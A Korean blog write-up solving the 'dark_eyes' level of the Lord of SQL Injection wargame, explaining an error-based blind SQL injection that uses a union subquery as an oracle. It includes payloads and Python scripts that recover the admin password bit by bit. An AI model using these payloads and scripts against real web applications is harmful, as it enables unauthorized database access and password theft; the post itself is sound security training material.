바로 전 문제인 iron_golem 과 매우 유사하다. 'if' 등의 문자열이 추가적으로 필터링되며 query문에 error 가 발생할 때에 mysqli_error() 함수가 아닌 단순한 exit() 함수로 보내버린다.
우선 query문에 오류를 만들어보자.
?pw='
아무 것도 뜨지 않는다. 전 문제에서는 오류가 발생하면 return 값에는 하나의 열만이 존재해야 한다는 문자열이 출력되었다.
오류가 발생하면 빈 페이지가 뜨는, 바로 이 점을 역으로 이용하는 것이다. 만약 오류가 발생하지 않고 정상적으로 query문이 실행됐다면 php 구문이 들어있는 원래의 문제 페이지가 보여질 것이다. 이것도 문자열이 출력되는 것 아닌가?
하지만 우리는 'if'라는 소중한 전우를 잃었다.
select - union 이라는 연합은 subquery에 있을 때 항상 return 값으로 column 하나 혹은 둘을 보낸다. 무슨 말인가?
자 예를 들어보자.
?pw=' or id='admin' and (select 1 union select substr("1234",1,1))%23
위와 같이 query문을 보내면 select 1 과 substr("1234",1,1) 은 둘 다 결과값이 1번 column 을 return 하는 것이므로 하나의 column 만이 return 되어 정상적으로 실행된다.
하지만 select 1 과 substr("1234",2,1) 를 보낸다면, substr("1234",2,1) 의 결과값이 2번 column 을 return 하는 것이므로 궁극적으로는 두 개의 column 이 return 되어 오류가 발생하게 된다.
자 바로 이를 이용하여 pw의 길이부터 구하자.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
pw_length = 0
for i in range(0, 100):
payload = "?pw=' or id='admin' and (select 1 union select length(pw)=" + str(i) + ")%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "dark_eyes" in res.text:
pw_length = i
print("Length of PW is [ %d ]\n" % i)
break
pw의 길이는 8이다.
이후는 iron_golem 문제와 code flow 는 같으므로 바로 exploit 하겠다.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
pw_length = 0
for i in range(0, 100):
payload = "?pw=' or id='admin' and (select 1 union select length(pw)=" + str(i) + ")%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "dark_eyes" in res.text:
pw_length = i
print("Length of PW is [ %d ]\n" % i)
break
# Check Bit_Length of PW & Brute Force
pw_bit_length = 0
password_bit = ''
password = ''
for i in range(1, pw_length + 1):
for j in range(0, 20):
payload = "?pw=' or id='admin' and (select 1 union select length(bin(ord(substr(pw," + str(i) + ",1))))=" + str(j) + ")%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if ("dark_eyes" in res.text) and (j != 1):
pw_bit_length = j
print("[%d-th] Bit_Length of PW is [ %d ]" % (i, j))
for k in range(1, j + 1):
payload = "?pw=' or id='admin' and (select 1 union select substr(bin(ord(substr(pw," + str(i) + ",1)))," + str(k) + ",1)=1)%23"
res = session.get(url = org_url + payload, headers = header, verify=False)
if "dark_eyes" in res.text:
password_bit += "1"
else:
password_bit += "0"
print(password_bit + "->" + chr(int(password_bit, 2)))
password += chr(int(password_bit, 2))
password_bit = ''
break
# Result
print("\n\nRESULT\n------------------")
print("PW --> %s\n" % password)
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - green_dragon (0) | 2021.08.26 |
---|---|
Lord of SQL Injection - hell_fire (0) | 2021.08.26 |
Lord of SQL Injection - iron golem (0) | 2021.08.24 |
Lord of SQL Injection - dragon (0) | 2021.08.22 |
Lord of SQL Injection - xavis (0) | 2021.08.22 |